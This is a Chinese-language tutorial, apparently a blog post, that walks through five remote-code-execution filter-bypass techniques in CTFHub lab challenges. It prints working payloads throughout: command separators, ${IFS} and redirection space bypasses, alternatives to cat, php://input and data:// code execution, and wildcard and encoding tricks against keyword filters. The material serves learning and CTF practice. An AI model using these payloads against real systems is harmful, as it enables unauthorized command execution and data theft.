当前位置: 首页 > news >正文

新手也能懂:从CTFHub靶场实战拆解RCE漏洞的5种常见绕过姿势

从CTFHub靶场实战拆解RCE漏洞的5种常见绕过姿势

在网络安全领域,远程代码执行(RCE)漏洞一直是最危险也最受关注的漏洞类型之一。不同于简单的信息泄露或权限提升,RCE漏洞直接允许攻击者在目标系统上执行任意命令,其危害性不言而喻。对于初学者而言,理解RCE漏洞的原理和绕过技巧,不仅能提升CTF解题能力,更能帮助开发者在实际项目中构建更安全的Web应用。

CTFHub作为国内知名的网络安全练习平台,其RCE挑战题目设计精巧,涵盖了真实环境中可能遇到的各种过滤和防御机制。本文将基于CTFHub靶场,深入剖析5种常见的RCE绕过技术,从基础到进阶,带你逐步掌握命令执行的绕过艺术。

1. 基础分隔符绕过:分号与管道符的妙用

在Linux系统中,命令分隔符是构造RCE payload的基础。许多初级防御措施会过滤常见的空格和特殊字符,但往往忽略了一些基础的分隔符。

1.1 分号(;)的利用

分号在Linux中表示顺序执行,无论前一个命令是否成功,后面的命令都会执行。这在CTFHub的"eval执行"挑战中尤为实用:

/?cmd=system("ls");system("cat /flag");

这个payload首先列出目录内容,然后直接读取flag文件。即使第一个ls命令失败,cat命令仍会执行。

1.2 管道符(|)的变通

管道符能将前一个命令的输出作为后一个命令的输入,常被用来绕过基础过滤:

127.0.0.1 | ls /

当输入点看似只接受IP地址时,通过管道符可以注入额外命令。在CTFHub的"命令注入"挑战中,这种方法可以绕过简单的输入验证。

注意:某些环境会过滤管道符,此时可以尝试URL编码形式%7C

1.3 逻辑运算符的灵活运用

除了基础分隔符,逻辑运算符也能实现命令注入:

运算符作用示例
&&前命令成功才执行后命令127.0.0.1 && cat /flag
``
&后台执行前命令127.0.0.1 & cat /flag

在CTFHub的"过滤运算符"挑战中,理解这些运算符的区别至关重要。当某些运算符被过滤时,可以尝试其他替代方案。

2. 空格绕过技术:当空白成为障碍

空格是命令执行中最常见的分隔符,也是防御系统重点过滤的对象。CTFHub的"过滤空格"挑战专门针对这种情况,以下是几种实用绕过方法:

2.1 使用变量替换

在Linux中,${IFS}是内部分隔符变量,可以替代空格:

127.0.0.1&&cat${IFS}/flag

${IFS}也被过滤时,可以尝试更短的变量形式:

127.0.0.1&&cat$IFS/flag

2.2 重定向符号替代

<>重定向符号在某些环境下可以替代空格:

127.0.0.1&&cat</flag

这种方法在CTFHub的"过滤空格"挑战中特别有效,因为许多基础过滤规则不会检查重定向符号。

2.3 其他特殊替代方案

当常见替代方案都被过滤时,还可以尝试:

  • 使用制表符%09代替空格
  • 使用大括号{cat,/flag}语法
  • 使用引号包裹cat"/flag"

在CTFHub的"综合过滤练习"中,这些技巧往往能出奇制胜。

3. 命令替换:当cat被禁用时的解决方案

cat命令是最常用的文件读取工具,也是防御系统重点防范的对象。CTFHub的"过滤cat"挑战展示了这种情况下的解决方案。

3.1 替代命令选择

Linux提供了多种文件读取命令,可以根据实际情况选择:

命令特点示例
more分页显示more /flag
less可回滚显示less /flag
head显示开头部分head -n 100 /flag
tail显示结尾部分tail -n 100 /flag
tac反向显示tac /flag
nl带行号显示nl /flag

3.2 利用系统工具

当所有文件读取命令都被过滤时,可以尝试使用系统工具:

# 使用grep读取文件 grep -r '' /flag # 使用sed输出文件 sed -n '1,$p' /flag # 使用awk打印文件 awk '{print}' /flag

3.3 编码输出绕过过滤

在某些情况下,直接输出文件内容会被拦截,但编码输出可能绕过检测:

# Base64编码输出 base64 /flag | base64 -d # Hexdump输出 xxd -p /flag | xxd -r -p

在CTFHub的"过滤cat"挑战中,more命令配合base64编码是常见解决方案:

127.0.0.1 & more flag_31842143531286.php | base64

4. 协议封装与流处理:php://的妙用

PHP提供了多种封装协议,可以绕过常规的文件操作限制。CTFHub的"文件包含"和"读取源代码"挑战展示了这些技术的威力。

4.1 php://input的利用

当目标系统允许包含远程文件时,php://input可以读取POST数据作为PHP代码执行:

POST /?file=php://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded <?php system('ls /');?>

这种方法在CTFHub的"文件包含"挑战中非常有效,特别是当allow_url_include设置为On时。

4.2 php://filter读取源码

当直接执行被限制时,php://filter可以读取文件源码:

/?file=php://filter/read=convert.base64-encode/resource=index.php

这个payload会将目标文件以base64编码形式输出,避免直接执行PHP代码。在CTFHub的"读取源代码"挑战中,这是获取flag的关键技术。

4.3 data://协议的应用

php://被禁用时,可以尝试data://协议:

/?file=data://text/plain,<?php system('ls');?>

或者base64编码形式:

/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+

5. 高级绕过技巧:综合过滤的应对策略

CTFHub的"综合过滤练习"汇集了多种过滤机制,需要综合运用各种技巧。以下是几种高级绕过策略:

5.1 换行符替代分隔符

;&|等分隔符被过滤时,换行符%0a是很好的替代:

/?ip=127.0.0.1%0als

这个payload在URL中会转换为:

127.0.0.1 ls

5.2 通配符绕过关键字过滤

当特定关键字被过滤时,通配符可以发挥作用:

# 当"flag"被过滤时 127.0.0.1 && cat /fla? # 或者使用星号 127.0.0.1 && cat /fl*

5.3 环境变量拼接

通过环境变量拼接可以构造被过滤的命令:

# 当"cat"被过滤时 127.0.0.1 && a=c;b=at;$a$b /flag

5.4 编码与双重编码

复杂过滤系统有时可以通过多重编码绕过:

# 原始payload cat /flag # URL编码一次 %63%61%74%20%2f%66%6c%61%67 # 双重URL编码 %25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37

在CTFHub的"综合过滤练习"中,这些技术往往需要组合使用:

/?ip=127.0.0.1%0acd${IFS}fl*_is_here${IFS}%0abase64${IFS}fl*

这个payload使用了换行符、环境变量、通配符等多种技术,能够绕过大多数基础过滤机制。

http://www.cnnetsun.cn/news/1980693.html

相关文章:

  • Python高级应用系列(九):设计模式在Python中的实现——从原理到代码
  • 文档自动化:从代码注释生成API文档的系统
  • STM32CubeMX新手必看:5分钟搞定LED闪烁工程(Keil环境)
  • Oracle 19c升级实战:EXPDP迁移中的六大“坑”与填坑指南
  • 用LM358做个USB供电的电平指示器:从仿真到PCB打样的保姆级教程
  • 终极指南:如何用ncmdump轻松解密网易云音乐NCM格式文件
  • Sunshine游戏串流终极指南:从入门到专家的完整配置与优化方案
  • 5分钟学会B站M4S转MP4:快速免费的视频格式转换终极方案
  • 目标检测精度上不去?试试YOLOv4/PP-YOLOE都在用的CSPNet Backbone配置实战
  • GNU Radio gr-digital 避坑指南:从OFDM同步到Packet解析,新手常踩的5个雷区
  • Windows 11资源管理器崩溃终结者:ExplorerPatcher深度修复指南
  • 前端架构设计思路解析
  • 卡梅德生物技术快报|【生物材料】荧光纳米材料在蛋白质标记与检测中的技术实现与应用分析
  • 解锁多平台SDR频谱分析:QSpectrumAnalyzer深度指南
  • 相变材料属性分段函数(示意)
  • Mitigating Estimation Bias in Actor-Critic Algorithms: From Theory to TD3
  • 【2026奇点大会独家前瞻】:AGI原生产品设计的5大范式转移与3个已验证落地模型
  • 从伯德图到Simulink仿真:基于MATLAB的汽车悬挂减震控制建模与性能分析
  • 保姆级教程:用JavaCV+ZLMediaKit搞定大华/海康摄像头实时流(附完整代码)
  • 别再死记硬背状态机了!用Verilog HDL在FPGA上实现一个可复用的移位寄存器(附完整代码)
  • 手把手带你用8086的寄存器,写一段简单的汇编代码(附调试技巧)
  • 别再混淆了!用C#的async/await写UI程序,为什么感觉不到多线程?
  • 基于springboot的汽车美容保养管理系统
  • 从8b/10b到64b/66b:深入JESD204C链路层,看高速SerDes协议如何演进
  • 198.打家劫舍
  • STM32F407驱动WS2812灯带,用CubeIDE配置DMA+TIM3_PWM的保姆级避坑指南
  • 智能风控中的反欺诈模型与实时决策引擎
  • 物联网(IoT)入门:ESP32连接阿里云平台实战
  • Markdown Viewer:免费浏览器扩展终极指南,高效渲染本地与远程Markdown文件
  • Windows 11下,用Rust给Qt 5.14.2写GUI:从环境配置到第一个窗口(避坑VS2022命令提示符)